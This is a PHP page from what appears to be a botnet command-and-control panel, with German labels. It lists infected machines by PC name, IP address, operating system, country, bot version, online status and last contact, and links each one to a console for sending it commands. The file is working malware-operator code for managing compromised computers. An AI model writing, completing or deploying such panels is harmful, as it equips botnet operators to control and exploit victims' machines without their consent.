<?php
require_once('config.php');
require_once('inc/auth.php');


echo '<h3>Botliste</h3>';
$stats = new statistics;
$stats->CountBots();
$botlist = Database::getTableSorted("bots", "id");
if(isset($botlist))
{
	echo '<div id="botlist"><table border="1">';
	echo '<tr>';
		echo '<td>Name</td>';
		echo '<td>IP</td>';
		echo '<td>OS</td>';
		echo '<td>Land</td>';
		echo '<td>Version</td>';
		echo '<td>Status</td>';
		echo '<td>Letzte Verbindung</td>';
		echo '<td>Befehl eintragen</td>';
	echo '</tr>';
	foreach($botlist as $list)
	{
		if($list['status'] == 0)
			$status = '<td style="color: red;">Offline</td>';
		else
			$status = '<td style="color: green;">Online</td>';
			
		echo '<tr>';
			echo '<td>'.$list['pcname'].'</td>';
			echo '<td>'.$list['ip'].'</td>';
			echo '<td>'.$list['os'].'</td>';
			echo '<td>'.$list['country'].'</td>';
			echo '<td>'.$list['version'].'</td>';
			echo $status;
			echo '<td>'.date("H:i  j.n.y", $list['time']).'</td>';
			echo '<td><a href="index.php?do=console&client='.$list['botid'].'">Eintragen</a></td>';
		echo '</tr>';
	}
			
			
			
			
}
	
	
	echo '</table></div>';
		?>